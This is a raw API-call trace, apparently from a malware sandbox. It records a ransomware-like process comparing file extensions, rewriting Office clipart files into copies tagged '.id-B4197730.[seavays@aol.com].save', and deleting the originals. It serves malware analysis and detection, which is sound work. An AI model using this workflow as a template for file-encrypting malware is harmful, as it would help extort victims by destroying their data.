lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.609] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0063.609] lstrlenW (lpString="AN02724_.WMF") returned 12 [0063.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0063.610] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=2108) returned 1 [0063.610] CloseHandle (hObject=0x2fc) returned 1 [0063.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 0x220 [0063.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0063.610] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.610] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0063.611] GetLastError () returned 0x0 [0063.611] ReadFile (in: hFile=0x2fc, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x83c, lpOverlapped=0x0) returned 1 [0063.612] WriteFile (in: hFile=0x380, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x840, lpOverlapped=0x0) returned 1 [0063.614] ReadFile (in: hFile=0x2fc, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.614] WriteFile (in: hFile=0x380, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0063.614] SetEndOfFile (hFile=0x380) returned 1 [0063.614] CloseHandle (hObject=0x380) returned 1 [0063.615] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.615] SetEndOfFile (hFile=0x2fc) returned 1 [0063.616] CloseHandle (hObject=0x2fc) returned 1 [0063.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.616] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0063.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0063.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0063.617] lstrlenW (lpString=".doc") returned 4 [0063.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.617] lstrlenW (lpString=".docx") returned 5 [0063.617] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.617] lstrlenW (lpString=".pdf") returned 4 [0063.617] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.617] lstrlenW (lpString=".xls") returned 4 [0063.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.617] lstrlenW (lpString=".xlsx") returned 5 [0063.617] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.617] lstrlenW (lpString=".ppt") returned 4 [0063.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0063.617] lstrlenW (lpString=".zip") returned 4 [0063.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.618] lstrlenW (lpString=".rar") returned 4 [0063.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.618] lstrlenW (lpString=".bz2") returned 4 [0063.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.618] lstrlenW (lpString=".7z") returned 3 [0063.618] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0063.618] lstrlenW (lpString=".dbf") returned 4 [0063.618] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0063.618] lstrlenW (lpString=".1cd") returned 4 [0063.618] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0063.618] lstrlenW (lpString=".jpg") returned 4 [0063.618] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0063.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0063.618] lstrlenW (lpString=".doc") returned 4 [0063.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.618] lstrlenW (lpString=".docx") returned 5 [0063.618] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.618] lstrlenW (lpString=".pdf") returned 4 [0063.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.618] lstrlenW (lpString=".xls") returned 4 [0063.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.618] lstrlenW (lpString=".xlsx") returned 5 [0063.618] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.618] lstrlenW (lpString=".ppt") returned 4 [0063.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0063.619] lstrlenW (lpString=".zip") returned 4 [0063.619] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.619] lstrlenW (lpString=".rar") returned 4 [0063.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.619] lstrlenW (lpString=".bz2") returned 4 [0063.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.619] lstrlenW (lpString=".7z") returned 3 [0063.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0063.619] lstrlenW (lpString=".dbf") returned 4 [0063.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0063.619] lstrlenW (lpString=".1cd") returned 4 [0063.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0063.619] lstrlenW (lpString=".jpg") returned 4 [0063.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.619] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0063.619] lstrlenW (lpString="AN03500_.WMF") returned 12 [0063.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0063.620] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=9240) returned 1 [0063.620] CloseHandle (hObject=0x2fc) returned 1 [0063.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 0x220 [0063.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0063.620] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.620] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0063.625] GetLastError () returned 0x0 [0063.625] ReadFile (in: hFile=0x2fc, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x2418, lpOverlapped=0x0) returned 1 [0063.627] WriteFile (in: hFile=0x380, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x2420, lpOverlapped=0x0) returned 1 [0063.628] ReadFile (in: hFile=0x2fc, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.628] WriteFile (in: hFile=0x380, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0063.629] SetEndOfFile (hFile=0x380) returned 1 [0063.629] CloseHandle (hObject=0x380) returned 1 [0063.630] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.630] SetEndOfFile (hFile=0x2fc) returned 1 [0063.631] CloseHandle (hObject=0x2fc) returned 1 [0063.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0063.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0063.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0063.632] lstrlenW (lpString=".doc") returned 4 [0063.632] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.632] lstrlenW (lpString=".docx") returned 5 [0063.632] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.632] lstrlenW (lpString=".pdf") returned 4 [0063.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.632] lstrlenW (lpString=".xls") returned 4 [0063.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.632] lstrlenW (lpString=".xlsx") returned 5 [0063.632] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.632] lstrlenW (lpString=".ppt") returned 4 [0063.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0063.632] lstrlenW (lpString=".zip") returned 4 [0063.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.632] lstrlenW (lpString=".rar") returned 4 [0063.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.633] lstrlenW (lpString=".bz2") returned 4 [0063.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.633] lstrlenW (lpString=".7z") returned 3 [0063.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0063.633] lstrlenW (lpString=".dbf") returned 4 [0063.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0063.633] lstrlenW (lpString=".1cd") returned 4 [0063.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0063.633] lstrlenW (lpString=".jpg") returned 4 [0063.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0063.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0063.633] lstrlenW (lpString=".doc") returned 4 [0063.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.633] lstrlenW (lpString=".docx") returned 5 [0063.633] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.633] lstrlenW (lpString=".pdf") returned 4 [0063.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.633] lstrlenW (lpString=".xls") returned 4 [0063.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.633] lstrlenW (lpString=".xlsx") returned 5 [0063.633] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.634] lstrlenW (lpString=".ppt") returned 4 [0063.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0063.634] lstrlenW (lpString=".zip") returned 4 [0063.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.634] lstrlenW (lpString=".rar") returned 4 [0063.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.634] lstrlenW (lpString=".bz2") returned 4 [0063.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.634] lstrlenW (lpString=".7z") returned 3 [0063.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0063.634] lstrlenW (lpString=".dbf") returned 4 [0063.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0063.634] lstrlenW (lpString=".1cd") returned 4 [0063.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0063.634] lstrlenW (lpString=".jpg") returned 4 [0063.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.634] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0063.634] lstrlenW (lpString="AN04108_.WMF") returned 12 [0063.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0063.963] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=2344) returned 1 [0063.963] CloseHandle (hObject=0x394) returned 1 [0063.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 0x220 [0063.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0063.964] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.964] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0063.964] GetLastError () returned 0x0 [0063.964] ReadFile (in: hFile=0x394, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x928, lpOverlapped=0x0) returned 1 [0063.966] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x930, lpOverlapped=0x0) returned 1 [0063.967] ReadFile (in: hFile=0x394, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.967] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0063.967] SetEndOfFile (hFile=0x384) returned 1 [0063.968] CloseHandle (hObject=0x384) returned 1 [0063.969] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.969] SetEndOfFile (hFile=0x394) returned 1 [0063.970] CloseHandle (hObject=0x394) returned 1 [0063.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.970] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0063.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0063.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0063.970] lstrlenW (lpString=".doc") returned 4 [0063.970] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.970] lstrlenW (lpString=".docx") returned 5 [0063.970] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.970] lstrlenW (lpString=".pdf") returned 4 [0063.971] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.971] lstrlenW (lpString=".xls") returned 4 [0063.971] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.971] lstrlenW (lpString=".xlsx") returned 5 [0063.971] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.971] lstrlenW (lpString=".ppt") returned 4 [0063.971] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0063.971] lstrlenW (lpString=".zip") returned 4 [0063.971] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.971] lstrlenW (lpString=".rar") returned 4 [0063.971] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.971] lstrlenW (lpString=".bz2") returned 4 [0063.971] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.971] lstrlenW (lpString=".7z") returned 3 [0063.971] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0063.971] lstrlenW (lpString=".dbf") returned 4 [0063.971] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0063.971] lstrlenW (lpString=".1cd") returned 4 [0063.971] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0063.971] lstrlenW (lpString=".jpg") returned 4 [0063.971] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0063.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0063.971] lstrlenW (lpString=".doc") returned 4 [0063.971] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.971] lstrlenW (lpString=".docx") returned 5 [0063.971] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.972] lstrlenW (lpString=".pdf") returned 4 [0063.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.972] lstrlenW (lpString=".xls") returned 4 [0063.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.972] lstrlenW (lpString=".xlsx") returned 5 [0063.972] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.972] lstrlenW (lpString=".ppt") returned 4 [0063.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0063.972] lstrlenW (lpString=".zip") returned 4 [0063.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.972] lstrlenW (lpString=".rar") returned 4 [0063.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.972] lstrlenW (lpString=".bz2") returned 4 [0063.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.972] lstrlenW (lpString=".7z") returned 3 [0063.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0063.972] lstrlenW (lpString=".dbf") returned 4 [0063.972] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0063.972] lstrlenW (lpString=".1cd") returned 4 [0063.972] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0063.972] lstrlenW (lpString=".jpg") returned 4 [0063.972] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.972] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0063.972] lstrlenW (lpString="AN04323_.WMF") returned 12 [0063.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0063.973] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=2492) returned 1 [0063.973] 